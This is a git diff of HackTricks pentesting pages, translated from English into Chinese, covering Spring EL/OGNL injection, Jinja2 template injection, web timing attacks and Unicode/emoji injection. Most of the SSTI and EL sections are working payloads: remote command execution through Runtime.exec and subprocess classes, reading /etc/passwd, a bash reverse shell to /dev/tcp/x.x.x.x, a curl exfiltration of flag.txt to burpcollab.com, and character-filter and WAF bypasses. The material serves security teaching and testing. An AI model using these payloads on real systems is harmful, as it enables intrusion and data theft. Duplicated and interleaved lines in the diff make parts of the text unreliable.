- `spring-expression-5.2.1.RELEASE.jar`
And create a the following `Main.java` file:
并创建以下 `Main.java` 文件:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Main {
public static ExpressionParser PARSER;
public static ExpressionParser PARSER;
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
```
Next compile the code (if you don't have `javac` installed, install `sudo apt install default-jdk`):
接下来编译代码(如果您没有安装 `javac`,请安装 `sudo apt install default-jdk`
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
Execute the application with:
使用以下命令执行应用程序:
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
注意在前面的例子中,术语 `{5*5}` 是如何被 **评估** 的。
Note how in the previous example the term `{5*5}` was **evaluated**.
## **CVE 基于的教程**
## **CVE Based Tutorial**
Check it in **this post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
**这篇文章** 中查看: [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
## Payloads
### Basic actions
### 基本操作
```bash
#Basic string operations examples
{"a".toString()}
@ -102,46 +95,34 @@ Check it in **this post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
### 检测
### Detection
- Burp detection
- Burp 检测
```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
- J2EE detection
- J2EE 检测
```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
- Sleep 10 secs
- 睡眠 10 秒
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### Remote File Inclusion
### 远程文件包含
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### Directory Listing
### 目录列表
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
### RCE
- Basic RCE **explanation**
- 基本 RCE **解释**
```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
@ -157,21 +138,15 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
- RCE **linux**
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
- RCE **Windows** (not tested)
- RCE **Windows**(未测试)
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
- **More RCE**
- **更多 RCE**
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
@ -207,40 +182,33 @@ T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```
### 检查环境
### Inspecting the environment
- `applicationScope` - global application variables
- `requestScope` - request variables
- `initParam` - application initialization variables
- `sessionScope` - session variables
- `param.X` - param value where X is the name of a http parameter
You will need to cast this variables to String like:
- `applicationScope` - 全局应用变量
- `requestScope` - 请求变量
- `initParam` - 应用初始化变量
- `sessionScope` - 会话变量
- `param.X` - 参数值,其中 X 是 http 参数的名称
您需要将这些变量转换为字符串,例如:
```bash
${sessionScope.toString()}
```
#### Authorization bypass example
#### 授权绕过示例
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
The application can also use custom variables like:
该应用程序还可以使用自定义变量,例如:
```bash
${user}
${password}
${employee.FirstName}
```
## WAF 绕过
## WAF Bypass
查看 [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
Check [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
## References
## 参考文献
- [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
- [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
@ -248,4 +216,3 @@ Check [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pm
- [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,12 +4,11 @@
<figure><img src="../../images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
通过8kSec Academy深化您在**移动安全**方面的专业知识。通过我们的自学课程掌握iOS和Android安全并获得认证
{% embed url="https://academy.8ksec.io/" %}
## **Lab**
## **实验室**
```python
from flask import Flask, request, render_template_string
@ -17,21 +16,19 @@ app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
app.run()
```
## **杂项**
## **Misc**
### **Debug Statement**
If the Debug Extension is enabled, a `debug` tag will be available to dump the current context as well as the available filters and tests. This is useful to see whats available to use in the template without setting up a debugger.
### **调试语句**
如果启用了调试扩展,将会有一个 `debug` 标签可用于转储当前上下文以及可用的过滤器和测试。这对于查看在模板中可以使用的内容而无需设置调试器非常有用。
```python
<pre>
@ -48,19 +45,15 @@ If the Debug Extension is enabled, a `debug` tag will be available to dump the c
</pre>
```
Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
### **Dump all config variables**
### **转储所有配置变量**
```python
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
@ -70,16 +63,14 @@ Source: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement]
```
## **Jinja 注入**
## **Jinja Injection**
首先,在 Jinja 注入中,您需要 **找到一种方法从沙箱中逃脱** 并恢复访问常规的 Python 执行流程。为此,您需要 **滥用对象**,这些对象 **来自** **非沙箱环境但可以从沙箱中访问**
First of all, in a Jinja injection you need to **find a way to escape from the sandbox** and recover access the regular python execution flow. To do so, you need to **abuse objects** that are **from** the **non-sandboxed environment but are accessible from the sandbox**.
### Accessing Global Objects
For example, in the code `render_template("hello.html", username=username, email=email)` the objects username and email **come from the non-sanboxed python env** and will be **accessible** inside the **sandboxed env.**\
Moreover, there are other objects that will be **always accessible from the sandboxed env**, these are:
### 访问全局对象
例如,在代码 `render_template("hello.html", username=username, email=email)` 中,对象 username 和 email **来自非沙箱的 Python 环境**,并且在 **沙箱环境** 内是 **可访问的**。\
此外,还有其他对象将 **始终可以从沙箱环境访问**,这些对象包括:
```
[]
''
@ -88,15 +79,13 @@ dict
config
request
```
### 恢复 \<class 'object'>
### Recovering \<class 'object'>
然后,从这些对象中我们需要到达类:**`<class 'object'>`** 以尝试 **恢复** 定义的 **类**。这是因为从这个对象我们可以调用 **`__subclasses__`** 方法并 **访问所有非沙箱** 的 python 环境中的类。
Then, from these objects we need to get to the class: **`<class 'object'>`** in order to try to **recover** defined **classes**. This is because from this object we can call the **`__subclasses__`** method and **access all the classes from the non-sandboxed** python env.
In order to access that **object class**, you need to **access a class object** and then access either **`__base__`**, **`__mro__()[-1]`** or `.`**`mro()[-1]`**. And then, **after** reaching this **object class** we **call** **`__subclasses__()`**.
Check these examples:
为了访问该 **对象类**,您需要 **访问一个类对象**,然后访问 **`__base__`**、**`__mro__()[-1]`** 或 **`.`**`mro()[-1]`**。然后,在到达这个 **对象类** 之后,我们 **调用** **`__subclasses__()`**。
查看这些示例:
```python
# To access a class object
[].__class__
@ -140,23 +129,19 @@ dict.__mro__[-1]
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### RCE Escaping
**Having recovered** `<class 'object'>` and called `__subclasses__` we can now use those classes to read and write files and exec code.
**恢复了** `<class 'object'>` 并调用了 `__subclasses__`,我们现在可以使用这些类来读取和写入文件以及执行代码。
The call to `__subclasses__` has given us the opportunity to **access hundreds of new functions**, we will be happy just by accessing the **file class** to **read/write files** or any class with access to a class that **allows to execute commands** (like `os`).
**Read/Write remote file**
`__subclasses__` 的调用给了我们机会 **访问数百个新函数**,我们只需访问 **文件类****读取/写入文件** 或任何可以访问 **允许执行命令** 的类(如 `os`)。
**读取/写入远程文件**
```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
**RCE**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
@ -179,20 +164,18 @@ The call to `__subclasses__` has given us the opportunity to **access hundreds o
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
```
To learn about **more classes** that you can use to **escape** you can **check**:
要了解您可以用来**逃避**的**更多类**,您可以**查看**
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
{{#endref}}
### Filter bypasses
### 过滤器绕过
#### Common bypasses
These bypass will allow us to **access** the **attributes** of the objects **without using some chars**.\
We have already seen some of these bypasses in the examples of the previous, but let sumarize them here:
#### 常见绕过
这些绕过将允许我们**访问**对象的**属性****而不使用某些字符**。\
我们已经在之前的示例中看到了一些这些绕过,但在这里总结一下:
```bash
# Without quotes, _, [, ]
## Basic ones
@ -224,31 +207,25 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
- [**返回这里以获取更多访问全局对象的选项**](jinja2-ssti.md#accessing-global-objects)
- [**返回这里以获取更多访问对象类的选项**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
- [**阅读此内容以在没有对象类的情况下获取RCE**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
- [**Return here for more options to access a global object**](jinja2-ssti.md#accessing-global-objects)
- [**Return here for more options to access the object class**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
- [**Read this to get RCE without the object class**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
**Avoiding HTML encoding**
By default Flask HTML encode all the inside a template for security reasons:
**避免HTML编码**
默认情况下Flask出于安全原因对模板中的所有内容进行HTML编码
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**The `safe`** filter allows us to inject JavaScript and HTML into the page **without** it being **HTML encoded**, like this:
**`safe`** 过滤器允许我们将 JavaScript 和 HTML 注入到页面中 **而不** 进行 **HTML 编码**,如下所示:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**RCE by writing an evil config file.**
**通过编写恶意配置文件进行 RCE。**
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
@ -259,11 +236,9 @@ By default Flask HTML encode all the inside a template for security reasons:
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
## 没有几个字符
## Without several chars
Without **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
没有 **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
@ -275,14 +250,12 @@ Without **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```
## Jinja 注入而不使用 **\<class 'object'>**
## Jinja Injection without **\<class 'object'>**
From the [**global objects**](jinja2-ssti.md#accessing-global-objects) there is another way to get to **RCE without using that class.**\
If you manage to get to any **function** from those globals objects, you will be able to access **`__globals__.__builtins__`** and from there the **RCE** is very **simple**.
You can **find functions** from the objects **`request`**, **`config`** and any **other** interesting **global object** you have access to with:
从 [**全局对象**](jinja2-ssti.md#accessing-global-objects) 有另一种方法可以到达 **RCE 而不使用该类。**\
如果你设法从这些全局对象中获取到任何 **函数**,你将能够访问 **`__globals__.__builtins__`**,从那里 **RCE** 是非常 **简单** 的。
你可以通过以下方式从对象 **`request`**、**`config`** 和任何 **其他** 有访问权限的 **全局对象****找到函数**
```bash
{{ request.__class__.__dict__ }}
- application
@ -302,9 +275,7 @@ You can **find functions** from the objects **`request`**, **`config`** and any
# You can iterate through children objects to find more
```
Once you have found some functions you can recover the builtins with:
一旦你找到了一些函数,你可以通过以下方式恢复内置函数:
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
@ -326,13 +297,9 @@ Once you have found some functions you can recover the builtins with:
# All the bypasses seen in the previous sections are also valid
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) is a tool that its specialized on CTFs but can be also useful to bruteforce invalid params on a real scenario. The tool just spray words and queries to detect filters, searching for bypasses, and also provide a interactive console.
English-Chinese Google translation
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具但在真实场景中也可以用于暴力破解无效参数。该工具仅仅是喷洒单词和查询以检测过滤器寻找绕过方法并提供一个交互式控制台。
```
webui:
As the name suggests, web UI
@ -357,13 +324,11 @@ crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
```
## References
## 参考文献
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
- Check [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
- 查看 [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,38 +3,37 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> For obtaining a deep understanding of this technique check the original report from [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
> 要深入了解此技术,请查看原始报告 [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
## Basic Information
The basic goal of a timing attack is basically to be able to answer complicated questions or detect hidden functionalities by just **checking the time differences in the responses from similar requests**.
时序攻击的基本目标是通过**检查相似请求的响应时间差异**来回答复杂问题或检测隐藏功能。
Traditionally this has been very complicated because the latency an jitter introduced by both the network and the server. However, since the discovery and improvement of the [**Race Condition Single Packet attack**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), it's possible to use this technique to remove all network delays noised from the equation.\
Leaving only the **server delays** make timing attack easier to discover and abuse.
传统上,由于网络和服务器引入的延迟和抖动,这一直非常复杂。然而,自从发现和改进了[**竞争条件单包攻击**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization)后,可以使用此技术将所有网络延迟噪声从方程中去除。\
只留下**服务器延迟**使得时序攻击更容易被发现和利用。
## Discoveries
### Hidden Attack Surface
In the blog post is commented how using this technique it was possible to find hidden parameters and even headers just checking that whenever the param or header was present in the request there was a **time difference of about 5ms**. Actually, this discovery technique has been adde to **Param Miner** in Burp Suite.
在博客文章中提到,使用此技术可以找到隐藏参数甚至头部,只需检查每当参数或头部在请求中存在时,**时间差约为5毫秒**。实际上这种发现技术已被添加到Burp Suite的**Param Miner**中。
These time differences might because a **DNS request** was performed, some **log was written** because an invalid input or because some **checks are performed** when a parameter is present int he request.
这些时间差可能是因为**DNS请求**被执行,某些**日志被写入**因为无效输入,或者因为在请求中存在参数时执行了一些**检查**。
Something you need to remember when performing this kind of attacks is that because of the hidden nature of the surface, you might not know what is the actual real cause of the time differences.
在执行这种攻击时需要记住的一点是,由于表面的隐藏性质,您可能不知道时间差的实际原因是什么。
### Reverse Proxy Misconfigurations
In the same research, it was shared that the timing technique was great to discover "scoped SSRFs" (which are SSRFs that can only access to allowed IP/domains). Just **checking the time difference when an allowed domain is set** versus when a not allowed domain is set helps to discover open proxies even if the response is the same.
在同一研究中分享了时序技术非常适合发现“范围内的SSRF”只能访问允许的IP/域的SSRF。只需**检查设置允许域时的时间差**与设置不允许域时的时间差,有助于发现开放代理,即使响应相同。
Once an scoped open proxy is discovered, it was possible to find valid targets by parsing known subdomains of the target and this allowed to:
一旦发现范围内的开放代理,就可以通过解析目标的已知子域找到有效目标,这使得:
- **Bypass firewalls** by accessing restricted subdomains via the **open proxy** instead of through internet
- Moreover, abusing an **open proxy** it's also possible to **discover new subdomains only accessible internally.**
- **Front-End impersonation attacks**: Front-end servers normally add headers for the backend like `X-Forwarded-For` or `X-Real-IP`. Open proxies that receives these headers will add them to the requested endpoint, therefore, an attacker could be able to access even more internal domains by adding these headers will whitelisted values.
- **绕过防火墙**,通过**开放代理**访问受限子域,而不是通过互联网
- 此外,利用**开放代理**,还可以**发现仅在内部可访问的新子域。**
- **前端冒充攻击**:前端服务器通常会为后端添加头部,如`X-Forwarded-For``X-Real-IP`。接收这些头部的开放代理将其添加到请求的端点,因此,攻击者可以通过添加这些头部与白名单值来访问更多内部域。
## References
- [https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,37 +2,36 @@
{{#include ../../banners/hacktricks-training.md}}
## Introduction
## 介绍
Depending on how the back-end/front-end is behaving when it **receives weird unicode characters** an attacker might be able to **bypass protections and inject arbitrary characters** that could be used to **abused injection vulnerabilities** such as XSS or SQLi.
根据后端/前端在**接收奇怪的unicode字符**时的行为,攻击者可能能够**绕过保护并注入任意字符**,这些字符可能被用于**利用注入漏洞**例如XSS或SQLi。
## Unicode Normalization
## Unicode规范化
Unicode normalization occurs when **unicode characters are normalized to ascii characters**.
Unicode规范化发生在**unicode字符被规范化为ascii字符**时。
One common scenario of this type of vulnerability occurs when the system is **modifying** somehow the **input** of the user **after having checked it**. For example, in some languages a simple call to make the **input uppercase or lowercase** could normalize the given input and the **unicode will be transformed into ASCII** generating new characters.\
For more info check:
这种类型漏洞的一个常见场景发生在系统**在检查用户的输入后以某种方式修改**该输入。例如,在某些语言中,简单地调用将**输入转换为大写或小写**可能会规范化给定的输入,**unicode将被转换为ASCII**,生成新字符。\
有关更多信息,请查看:
{{#ref}}
unicode-normalization.md
{{#endref}}
## `\u` to `%`
## `\u` `%`
Unicode characters are usually represented with the **`\u` prefix**. For example the char `㱋` is `\u3c4b`([check it here](https://unicode-explorer.com/c/3c4B)). If a backend **transforms** the prefix **`\u` in `%`**, the resulting string will be `%3c4b`, which URL decoded is: **`<4b`**. And, as you can see, a **`<` char is injected**.\
You could use this technique to **inject any kind of char** if the backend is vulnerable.\
Check [https://unicode-explorer.com/](https://unicode-explorer.com/) to find the chars you need.
Unicode字符通常用**`\u`前缀**表示。例如字符`㱋``\u3c4b`[在这里查看](https://unicode-explorer.com/c/3c4B))。如果后端**将**前缀**`\u`转换为`%`,则结果字符串将是`%3c4b`URL解码后为**`<4b`**。正如你所看到的,**`<`字符被注入**。\
如果后端存在漏洞,你可以使用此技术**注入任何类型的字符**。\
查看[https://unicode-explorer.com/](https://unicode-explorer.com/)以找到你需要的字符。
This vuln actually comes from a vulnerability a researcher found, for a more in depth explanation check [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
这个漏洞实际上来自一位研究人员发现的漏洞,想要更深入的解释请查看[https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
## Emoji Injection
## Emoji注入
Back-ends something behaves weirdly when they **receives emojis**. That's what happened in [**this writeup**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) where the researcher managed to achieve a XSS with a payload such as: `💋img src=x onerror=alert(document.domain)//💛`
In this case, the error was that the server after removing the malicious characters **converted the UTF-8 string from Windows-1252 to UTF-8** (basically the input encoding and the convert from encoding mismatched). Then this does not give a proper < just a weird unicode one: ``\
``So they took this output and **converted again now from UTF-8 ot ASCII**. This **normalized** the ``to`<` this is how the exploit could work on that system.\
This is what happened:
后端在**接收表情符号**时表现得有些奇怪。这就是在[**这篇文章**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209)中发生的情况研究人员成功地通过一个有效载荷实现了XSS例如`💋img src=x onerror=alert(document.domain)//💛`
在这种情况下,错误在于服务器在删除恶意字符后**将UTF-8字符串从Windows-1252转换为UTF-8**(基本上输入编码和转换编码不匹配)。然后这并没有给出一个正确的<而只是一个奇怪的unicode字符``\
``所以他们将这个输出**再次从UTF-8转换为ASCII**。这**规范化**了``为`<`,这就是该系统上漏洞能够工作的方式。\
发生的事情是:
```php
<?php
@ -43,11 +42,9 @@ $str = iconv("UTF-8", "ASCII//TRANSLIT", $str);
echo "String: " . $str;
```
Emoji lists:
Emoji 列表:
- [https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv](https://github.com/iorch/jakaton_feminicidios/blob/master/data/emojis.csv)
- [https://unicode.org/emoji/charts-14.0/full-emoji-list.html](https://unicode.org/emoji/charts-14.0/full-emoji-list.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,54 +2,52 @@
{{#include ../../banners/hacktricks-training.md}}
**This is a summary of:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Check a look for further details (images taken form there).
**这是一个总结:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). 查看以获取更多详细信息(图像来自那里)。
## Understanding Unicode and Normalization
## 理解 Unicode 和规范化
Unicode normalization is a process that ensures different binary representations of characters are standardized to the same binary value. This process is crucial in dealing with strings in programming and data processing. The Unicode standard defines two types of character equivalence:
Unicode 规范化是一个确保字符的不同二进制表示标准化为相同二进制值的过程。这个过程在编程和数据处理中的字符串处理至关重要。Unicode 标准定义了两种字符等价性:
1. **Canonical Equivalence**: Characters are considered canonically equivalent if they have the same appearance and meaning when printed or displayed.
2. **Compatibility Equivalence**: A weaker form of equivalence where characters may represent the same abstract character but can be displayed differently.
1. **规范等价性**:如果字符在打印或显示时具有相同的外观和含义,则认为它们是规范等价的。
2. **兼容等价性**:一种较弱的等价形式,其中字符可能表示相同的抽象字符,但可以以不同的方式显示。
There are **four Unicode normalization algorithms**: NFC, NFD, NFKC, and NFKD. Each algorithm employs canonical and compatibility normalization techniques differently. For a more in-depth understanding, you can explore these techniques on [Unicode.org](https://unicode.org/).
**四种 Unicode 规范化算法**NFC、NFD、NFKC 和 NFKD。每种算法以不同的方式采用规范和兼容性规范化技术。要深入了解可以在 [Unicode.org](https://unicode.org/) 上探索这些技术。
### Key Points on Unicode Encoding
### 关于 Unicode 编码的关键点
Understanding Unicode encoding is pivotal, especially when dealing with interoperability issues among different systems or languages. Here are the main points:
理解 Unicode 编码至关重要,特别是在处理不同系统或语言之间的互操作性问题时。以下是主要要点:
- **Code Points and Characters**: In Unicode, each character or symbol is assigned a numerical value known as a "code point".
- **Bytes Representation**: The code point (or character) is represented by one or more bytes in memory. For instance, LATIN-1 characters (common in English-speaking countries) are represented using one byte. However, languages with a larger set of characters need more bytes for representation.
- **Encoding**: This term refers to how characters are transformed into a series of bytes. UTF-8 is a prevalent encoding standard where ASCII characters are represented using one byte, and up to four bytes for other characters.
- **Processing Data**: Systems processing data must be aware of the encoding used to correctly convert the byte stream into characters.
- **Variants of UTF**: Besides UTF-8, there are other encoding standards like UTF-16 (using a minimum of 2 bytes, up to 4) and UTF-32 (using 4 bytes for all characters).
- **代码点和字符**:在 Unicode 中,每个字符或符号都被分配一个称为“代码点”的数值。
- **字节表示**代码点或字符在内存中由一个或多个字节表示。例如LATIN-1 字符(在英语国家常见)使用一个字节表示。然而,字符集较大的语言需要更多字节进行表示。
- **编码**这个术语指的是字符如何转换为一系列字节。UTF-8 是一种流行的编码标准,其中 ASCII 字符使用一个字节表示,其他字符最多使用四个字节。
- **处理数据**:处理数据的系统必须了解所使用的编码,以正确地将字节流转换为字符。
- **UTF 的变体**:除了 UTF-8还有其他编码标准如 UTF-16使用最少 2 个字节,最多 4 个)和 UTF-32对所有字符使用 4 个字节)。
